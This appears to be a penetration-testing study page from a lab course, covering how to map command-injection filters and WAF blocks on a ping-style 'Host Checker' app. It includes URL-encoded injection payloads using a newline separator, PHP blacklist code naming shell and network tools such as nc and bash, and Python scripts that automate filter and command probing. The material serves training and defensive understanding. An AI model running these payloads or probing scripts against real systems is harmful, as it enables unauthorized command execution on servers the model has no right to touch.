Filter Identification
π‘οΈ Defense Detection: Systematic identification of input filters, blacklisted characters, and WAF protection mechanisms
Overview
Even when developers attempt to secure web applications against injections, implementations may still be exploitable if not properly coded. Common mitigation techniques include:
Blacklisted characters and words on the back-end
Input validation filters at the application level
Web Application Firewalls (WAFs) with broader detection scope
Pattern-based detection systems
This section demonstrates how to identify what is being blocked and develop systematic bypass strategies.
Focus: Methodical filter detection and characterization to develop targeted bypass techniques.
Filter/WAF Detection
Initial Detection Signs
Scenario: Enhanced Host Checker application with security mitigations
Previous Working Payload:
127.0.0.1; whoamiCurrent Response:
Invalid inputDetection Indicators:
Application-Level Filtering:
Error message appears in normal application output
Standard web application styling maintained
Response includes original form structure
Error displayed where command output would appear
WAF-Level Filtering:
Different error page format
May include IP address and request details
Generic security-focused error message
Response may lack application-specific styling
Response Analysis
Application Filter Response:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<div class="host-checker">
<form>
<input type="text" value="127.0.0.1; whoami">
<button>Check</button>
</form>
<div class="output">
Invalid input
</div>
</div>WAF Response (Example):
HTTP/1.1 403 Forbidden
Content-Type: text/html
<html>
<head><title>Access Denied</title></head>
<body>
<h1>Request Blocked</h1>
<p>Your request was blocked by security policy.</p>
<p>Client IP: 192.168.1.100</p>
<p>Request ID: ABC123</p>
</body>
</html>Blacklisted Characters
Common Implementation
Typical PHP Blacklist Filter:
$blacklist = ['&', '|', ';', '&&', '||', 'sh', 'bash', 'nc', 'telnet', ...];
foreach ($blacklist as $character) {
if (strpos($_POST['ip'], $character) !== false) {
echo "Invalid input";
exit();
}
}Filter Characteristics:
String-based detection - Searches for exact character matches
Case-sensitive or case-insensitive matching
Partial matches - Any occurrence triggers block
Word boundaries - May or may not respect word boundaries
Filter Logic Variations
Simple Character Blacklist:
// Basic character filtering
if (strpos($input, ';') !== false || strpos($input, '&') !== false) {
die("Invalid input");
}Regex-Based Filtering:
// Pattern-based filtering
if (preg_match('/[;&|`$()]/i', $input)) {
die("Invalid input");
}Word-Based Filtering:
// Command blacklisting
$blocked_commands = ['whoami', 'cat', 'ls', 'nc', 'bash'];
foreach ($blocked_commands as $cmd) {
if (stripos($input, $cmd) !== false) {
die("Invalid input");
}
}Combined Filtering:
// Multi-layer filtering
function isBlocked($input) {
$char_blacklist = [';', '&', '|', '`', '$'];
$cmd_blacklist = ['whoami', 'cat', 'ls', 'sh'];
// Check characters
foreach ($char_blacklist as $char) {
if (strpos($input, $char) !== false) return true;
}
// Check commands
foreach ($cmd_blacklist as $cmd) {
if (stripos($input, $cmd) !== false) return true;
}
return false;
}Systematic Filter Identification
Step-by-Step Testing Methodology
Step 1: Baseline Verification
# Confirm normal functionality still works
ip=127.0.0.1
# Expected: Normal ping output
# Result: β
Working - baseline establishedStep 2: Individual Character Testing
Test each injection operator separately:
Semicolon Test:
ip=127.0.0.1%3bExpected Result: Invalid input (β Blocked)
AND Operator Test:
ip=127.0.0.1%26%26Expected Result: Invalid input (β Blocked)
OR Operator Test:
ip=127.0.0.1%7c%7cExpected Result: Invalid input (β Blocked)
Pipe Test:
ip=127.0.0.1%7cExpected Result: Invalid input (β Blocked)
Background Test:
ip=127.0.0.1%26Expected Result: Invalid input (β Blocked)
New Line Test:
ip=127.0.0.1%0aExpected Result: Normal ping output (β Not blocked!)
Character-by-Character Analysis
Isolate each special character:
# Test individual characters that might be filtered
; β %3b β "Invalid input" (blocked)
& β %26 β "Invalid input" (blocked)
| β %7c β "Invalid input" (blocked)
` β %60 β "Invalid input" (blocked)
$ β %24 β "Invalid input" (blocked)
( β %28 β Normal response (allowed)
) β %29 β Normal response (allowed)
\n β %0a β Normal response (allowed) β
\r β %0d β Test needed
\t β %09 β Test neededHTB Academy Lab Results
Question: Which of (new-line, &, |) is not blacklisted by the web application?
Testing Process:
New Line Test:
ip=127.0.0.1%0a
# Result: Normal ping output - NOT BLOCKED β
Ampersand Test:
ip=127.0.0.1%26
# Result: "Invalid input" - BLOCKED βPipe Test:
ip=127.0.0.1%7c
# Result: "Invalid input" - BLOCKED βAnswer: new-line (\n / %0a) is not blacklisted by the web application.
Advanced Filter Detection
Testing Alternative Characters
Extended Character Set:
# Test various encodings and alternatives
\n β %0a β newline (often allowed)
\r β %0d β carriage return
\r\n β %0d%0a β Windows line ending
\t β %09 β tab character
\v β %0b β vertical tab
\f β %0c β form feed
space β %20 β regular spaceUnicode Alternatives:
# Unicode variations (if application supports)
; β %3b β standard semicolon
; β %uff1b β fullwidth semicolon
& β %26 β standard ampersand
οΌ β %ef%bc%86 β fullwidth ampersandCommand Detection Testing
After identifying allowed separators, test commands:
Basic Commands:
# Using newline separator
ip=127.0.0.1%0awhoami
ip=127.0.0.1%0aid
ip=127.0.0.1%0alstp=127.0.0.1%0acatAlternative Commands:
# If basic commands are blocked, try alternatives
whoami β w β /usr/bin/whoami
id β /usr/bin/id
ls β dir (Windows) β /bin/ls
cat β type (Windows) β more β lessPayload Structure Analysis
Test different payload positions:
Prefix Injection:
ip=whoami%0a127.0.0.1Suffix Injection:
ip=127.0.0.1%0awhoamiMiddle Injection:
ip=127%0awhoami%0a.0.0.1Multiple Commands:
ip=127.0.0.1%0awhoami%0aid%0alsFilter Bypass Strategy Development
Systematic Approach
Phase 1: Character Mapping
# Create character allowlist/blocklist
β
Allowed: \n (\r ?) \t (?) ( ) space numbers letters .
β Blocked: ; & | ` $ && ||
? Unknown: \r \t \v \f unicode_alternativesPhase 2: Command Testing
# Test command categories
β
Basic: whoami id ls cat
β Network: nc netcat telnet
β Shells: sh bash zsh
? File: head tail grep awkPhase 3: Payload Optimization
# Build working payload using allowed characters
Base: 127.0.0.1%0awhoami
Extended: 127.0.0.1%0awhoami%0aid
Complex: 127.0.0.1%0a/usr/bin/whoami%0a/usr/bin/idDocumentation Template
Filter Analysis Report:
## Target: Host Checker Application
### Allowed Characters:
- Alphanumeric: a-z A-Z 0-9 β
- Special: . space ( ) β
- Separators: \n (\r?) β
- Encoding: URL encoding β
### Blocked Characters:
- Operators: ; & | && || β
- Substitution: ` $ $() β
- [Additional testing needed for: \r \t \v \f]
### Allowed Commands:
- System info: whoami id β
- File operations: [testing needed]
- Network: [testing needed]
### Working Payloads:
- Basic: 127.0.0.1%0awhoami
- Multi-command: 127.0.0.1%0awhoami%0aidCommon Filter Patterns
Application-Level Filters
Simple Blacklist:
Blocks common injection characters
Case-sensitive string matching
No context awareness
Easy to bypass with alternatives
Advanced Application Filters:
Regex pattern matching
Command word detection
Context-aware filtering
Parameter validation
WAF-Level Filters
Signature-Based:
Known attack pattern detection
Multi-parameter correlation
HTTP header analysis
Rate limiting integration
Behavioral Analysis:
Anomaly detection
Machine learning models
Statistical analysis
Dynamic rule adaptation
Hybrid Approaches
Multi-Layer Defense:
Client-side validation (easily bypassed)
Application input filters (character/command blocking)
WAF protection (pattern-based detection)
System-level controls (sandboxing, permissions)
Testing Automation
Systematic Character Testing Script
Python Filter Detector:
import requests
import urllib.parse
def test_character_filter(base_url, param_name, base_value):
"""Test individual characters for filtering"""
test_chars = [';', '&', '|', '`', '$', '(', ')', '\n', '\r', '\t']
results = {}
for char in test_chars:
# Test character individually
payload = base_value + urllib.parse.quote(char)
response = requests.post(base_url, data={param_name: payload})
if "Invalid input" in response.text:
results[char] = "BLOCKED"
elif "ping" in response.text.lower():
results[char] = "ALLOWED"
else:
results[char] = "UNKNOWN"
return results
# Usage
results = test_character_filter(
"http://target.com/check.php",
"ip",
"127.0.0.1"
)
for char, status in results.items():
print(f"Character '{char}' (\\x{ord(char):02x}): {status}")Command Testing Automation
Command Enumeration:
def test_commands(base_url, param_name, separator):
"""Test common commands using identified separator"""
commands = ['whoami', 'id', 'ls', 'cat', 'pwd', 'uname']
base_payload = "127.0.0.1"
for cmd in commands:
payload = base_payload + separator + cmd
encoded_payload = urllib.parse.quote(payload, safe='')
response = requests.post(base_url, data={param_name: encoded_payload})
if "Invalid input" in response.text:
print(f"Command '{cmd}': BLOCKED")
elif cmd in response.text or len(response.text) > 200:
print(f"Command '{cmd}': ALLOWED")
else:
print(f"Command '{cmd}': UNKNOWN")Key Takeaways
Filter Identification Best Practices
1. Systematic Testing:
Start with individual characters
Test all injection operators
Document allowed/blocked patterns
Build comprehensive filter map
2. Incremental Complexity:
Begin with simple payloads
Gradually increase complexity
Test command combinations
Validate bypass techniques
3. Documentation:
Maintain detailed filter analysis
Track working payloads
Note environmental constraints
Plan bypass strategies
Success Indicators
β Effective Filter Mapping:
Clear allowed/blocked character list
Working injection operator identified
Command execution confirmed
Bypass strategy developed
π Further Investigation Needed:
Mixed/inconsistent responses
Partial command execution
Timing-based differences
Context-dependent filtering
This systematic approach to filter identification provides the foundation for developing effective bypass techniques and ensures comprehensive understanding of the target application's security mechanisms.
Last updated